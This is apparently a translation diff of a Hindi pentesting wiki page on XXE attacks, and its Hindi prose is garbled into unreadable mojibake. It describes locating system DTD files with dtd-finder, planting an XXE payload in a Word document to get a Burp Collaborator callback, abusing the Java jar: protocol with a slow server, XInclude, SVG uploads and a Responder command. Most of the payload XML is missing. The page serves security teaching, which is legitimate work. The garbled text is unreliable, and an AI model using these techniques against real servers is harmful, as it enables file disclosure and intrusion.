рдЖрдкрдХреЗ рдкрд╛рд╕ **рдкреАрдбрд╝рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдХрд╛ Docker рдЗрдореЗрдЬ** рд╣реИ, рддреЛ рдЖрдк рдЙрд╕реА repo рдХреЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдЗрдореЗрдЬ** рдХреЛ **рд╕реНрдХреИрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдореМрдЬреВрдж DTDs** рдХреЗ рдкрде рдХреЛ **рдЦреЛрдЬ** рд╕рдХрддреЗ рд╣реИрдВред рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП [github рдХрд╛ Readme](https://github.com/GoSecure/dtd-finder) рдкрдврд╝реЗрдВред ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar @@ -225,39 +225,39 @@ Testing 0 entities : [] рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ **XXE рдкреЗрд▓реЛрдб рд╡рд╛рд▓рд╛ Microsoft Office рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ**ред рдкрд╣рд▓рд╛ рдХрджрдо рдПрдХ рдЦрд╛рд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдирд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдЕрдирдЬрд╝рд┐рдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -рдПрдХ рдмрд╛рд░ рдЬрдм рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЕрдирдЬрд╝рд┐рдк рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ `./unzipped/word/document.xml` рдкрд░ рд╕реНрдерд┐рдд XML рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЦреЛрд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдПрдХ рдкрд╕рдВрджреАрджрд╛ рдЯреЗрдХреНрд╕реНрдЯ рд╕рдВрдкрд╛рджрдХ (рдЬреИрд╕реЗ vim) рдореЗрдВ рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред XML рдХреЛ рдЗрдЪреНрдЫрд┐рдд XXE рдкреЗрд▓реЛрдб рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдЕрдХреНрд╕рд░ рдПрдХ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред +рдПрдХ рдмрд╛рд░ рдЬрдм рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЕрдирдЬрд╝рд┐рдк рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ `./unzipped/word/document.xml` рдореЗрдВ рд╕реНрдерд┐рдд XML рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЦреЛрд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдПрдХ рдкрд╕рдВрджреАрджрд╛ рдЯреЗрдХреНрд╕реНрдЯ рд╕рдВрдкрд╛рджрдХ (рдЬреИрд╕реЗ vim) рдореЗрдВ рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред XML рдХреЛ рдЗрдЪреНрдЫрд┐рдд XXE рдкреЗрд▓реЛрдб рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдЕрдХреНрд╕рд░ рдПрдХ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рд╕рдВрд╢реЛрдзрд┐рдд XML рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рджреЛ рд░реВрдЯ XML рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдмреАрдЪ рдбрд╛рд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред URL рдХреЛ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ рдпреЛрдЧреНрдп URL рдХреЗ рд╕рд╛рде рдмрджрд▓рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред -рдЕрдВрдд рдореЗрдВ, рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЬрд╝рд┐рдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг poc.docx рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдИ рдЬрд╛ рд╕рдХреЗред рдкрд╣рд▓реЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП "unzipped" рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рд┐рдП: +рдЕрдВрдд рдореЗрдВ, рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЬрд╝рд┐рдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг poc.docx рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдИ рдЬрд╛ рд╕рдХреЗред рдкрд╣рд▓реЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП "unzipped" рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП: -рдЕрдм, рдмрдирд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХрдордЬреЛрд░ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдХреЛрдИ рдЖрд╢рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз Burp Collaborator рд▓реЙрдЧ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗред +рдЕрдм, рдмрдирд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХрдордЬреЛрд░ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЗ Burp Collaborator рд▓реЙрдЧ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рдХреА рдЙрдореНрдореАрдж рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред ### Jar: protocol -**jar** рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **Java рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ** рдХреЗ рднреАрддрд░ рд╕реБрд▓рдн рд╣реИред рдпрд╣ **PKZIP** рд╕рдВрдЧреНрд░рд╣ (рдЬреИрд╕реЗ, `.zip`, `.jar`, рдЖрджрд┐) рдХреЗ рднреАрддрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдФрд░ рджреВрд░рд╕реНрде рдлрд╝рд╛рдЗрд▓реЛрдВ рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИред +**jar** рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **Java рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ** рдХреЗ рднреАрддрд░ рд╕реБрд▓рдн рд╣реИред рдпрд╣ **PKZIP** рд╕рдВрдЧреНрд░рд╣ (рдЬреИрд╕реЗ, `.zip`, `.jar`, рдЖрджрд┐) рдХреЗ рднреАрддрд░ рдлрд╝рд╛рдЗрд▓ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдФрд░ рджреВрд░рд╕реНрде рдлрд╝рд╛рдЗрд▓реЛрдВ рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИред ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` > [!CAUTION] -> PKZIP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ **рд╕рд┐рд╕реНрдЯрдо DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ XXE рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрдкрд░ рдЙрдкрдпреЛрдЧреА рд╣реИред** [рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреЛ рджреЗрдЦреЗрдВ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ](xxe-xee-xml-external-entity.md#error-based-system-dtd). +> PKZIP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ **рд╕рд┐рд╕реНрдЯрдо DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ XXE рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрдкрд░ рдЙрдкрдпреЛрдЧреА рд╣реИред** [рд╕рд┐рд╕реНрдЯрдо DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ](xxe-xee-xml-external-entity.md#error-based-system-dtd). PKZIP рд╕рдВрдЧреНрд░рд╣ рдХреЗ рднреАрддрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХрдИ рдЪрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: 1. рдПрдХ HTTP рдЕрдиреБрд░реЛрдз рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдерд╛рди рд╕реЗ рдЬрд╝рд┐рдк рд╕рдВрдЧреНрд░рд╣ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ `https://download.website.com/archive.zip`. 2. HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЬрд┐рд╕рдореЗрдВ рд╕рдВрдЧреНрд░рд╣ рд╣реЛрддрд╛ рд╣реИ, рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЖрдорддреМрд░ рдкрд░ `/tmp/...` рдЬреИрд╕реЗ рд╕реНрдерд╛рди рдкрд░ред 3. рдлрд┐рд░ рд╕рдВрдЧреНрд░рд╣ рдХреЛ рдЗрд╕рдХреЗ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИред -4. рд╕рдВрдЧреНрд░рд╣ рдХреЗ рднреАрддрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓, `file.zip`, рдХреЛ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред -5. рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдмрд╛рдж, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдмрдирд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +4. рд╕рдВрдЧреНрд░рд╣ рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓, `file.zip`, рдХреЛ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред +5. рдСрдкрд░реЗрд╢рди рдХреЗ рдмрд╛рдж, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдмрдирд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рджреВрд╕рд░реЗ рдЪрд░рдг рдкрд░ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рддрдХрдиреАрдХ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рд░реНрд╡ рдХрд░рддреЗ рд╕рдордп рд╕рд░реНрд╡рд░ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЕрдирд┐рд╢реНрдЪрд┐рддрдХрд╛рд▓ рдХреЗ рд▓рд┐рдП рдЦреБрд▓рд╛ рд░рдЦрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред [рдЗрд╕ рднрдВрдбрд╛рд░](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ Python рд╕рд░реНрд╡рд░ (`slow_http_server.py`) рдФрд░ рдПрдХ Java рд╕рд░реНрд╡рд░ (`slowserver.jar`) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рджреВрд╕рд░реЗ рдЪрд░рдг рдореЗрдВ рдмрд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреА рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рддрдХрдиреАрдХ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рд░реНрд╡ рдХрд░рддреЗ рд╕рдордп рд╕рд░реНрд╡рд░ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЕрдирд┐рд╢реНрдЪрд┐рддрдХрд╛рд▓ рдХреЗ рд▓рд┐рдП рдЦреБрд▓рд╛ рд░рдЦрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред [рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ Python рд╕рд░реНрд╡рд░ (`slow_http_server.py`) рдФрд░ рдПрдХ Java рд╕рд░реНрд╡рд░ (`slowserver.jar`) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред ```xml ]> &xxe; ``` > [!CAUTION] -> рдЕрд╕реНрдерд╛рдпреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдирд╛ **рдПрдХ рдФрд░ рднреЗрджреНрдпрддрд╛ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкрде рдпрд╛рддреНрд░рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ** (рдЬреИрд╕реЗ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛, рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди, XSLT RCE, рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди, рдЖрджрд┐)ред +> рдЕрд╕реНрдерд╛рдпреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдирд╛ **рдкрде рдпрд╛рддреНрд░рд╛** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдФрд░ рднреЗрджреНрдпрддрд╛ рдХреЛ **рдмрдврд╝рд╛рдиреЗ** рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛, рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди, XSLT RCE, рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди, рдЖрджрд┐)ред ### XSS ```xml @@ -310,7 +310,7 @@ Responder.py -I eth0 -v ### XInclude -рдЬрдм рдХреНрд▓рд╛рдЗрдВрдЯ рдбреЗрдЯрд╛ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдореЗрдВ рдПрдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдмреИрдХрдПрдВрдб SOAP рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ, XML рд╕рдВрд░рдЪрдирд╛ рдкрд░ рд╕реАрдзрд╛ рдирд┐рдпрдВрддреНрд░рдг рдЕрдХреНрд╕рд░ рд╕реАрдорд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ `DOCTYPE` рддрддреНрд╡ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкрд╛рд░рдВрдкрд░рд┐рдХ XXE рд╣рдорд▓реЛрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ `XInclude` рд╣рдорд▓рд╛ рдПрдХ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рддрддреНрд╡ рдХреЗ рднреАрддрд░ рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдкреНрд░рднрд╛рд╡реА рд╣реИ, рднрд▓реЗ рд╣реА рдХреЗрд╡рд▓ рд╕рд░реНрд╡рд░-рдЬрдирд┐рдд XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рднрд╛рдЧ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +рдЬрдм рдХреНрд▓рд╛рдЗрдВрдЯ рдбреЗрдЯрд╛ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб XML рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдореЗрдВ рдПрдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдмреИрдХрдПрдВрдб SOAP рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ, XML рд╕рдВрд░рдЪрдирд╛ рдкрд░ рд╕реАрдзрд╛ рдирд┐рдпрдВрддреНрд░рдг рдЕрдХреНрд╕рд░ рд╕реАрдорд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ `DOCTYPE` рддрддреНрд╡ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкрд╛рд░рдВрдкрд░рд┐рдХ XXE рд╣рдорд▓реЛрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ `XInclude` рд╣рдорд▓рд╛ рдПрдХ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рддрддреНрд╡ рдХреЗ рднреАрддрд░ рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдкреНрд░рднрд╛рд╡реА рд╣реИ, рднрд▓реЗ рд╣реА рдХреЗрд╡рд▓ рд╕рд░реНрд╡рд░-рдЬрдирд┐рдд XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рднрд╛рдЧ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред `XInclude` рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, `XInclude` рдирд╛рдорд╕реНрдерд╛рди рдХреЛ рдШреЛрд╖рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдЗрдЪреНрдЫрд┐рдд рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓ рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдиреАрдЪреЗ рдПрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЗ рдХреЛ рдХреИрд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```xml @@ -320,15 +320,15 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec ### SVG - рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб -рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, XML рдпрд╛ XML-рд╕рдорд╛рд╡реЗрд╢реА рдлрд╝рд╛рдЗрд▓ рд╕реНрд╡рд░реВрдкреЛрдВ рдХреЗ рдкреНрд░рдмрдВрдзрди рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреА рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдп рдлрд╝рд╛рдЗрд▓ рд╕реНрд╡рд░реВрдк рдЬреИрд╕реЗ рдХрд╛рд░реНрдпрд╛рд▓рдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ (DOCX) рдФрд░ рдЪрд┐рддреНрд░ (SVG) XML рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред +рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, XML рдпрд╛ XML-рд╕рдорд╛рд╡реЗрд╢реА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреЗ рдкреНрд░рдмрдВрдзрди рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреА рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдп 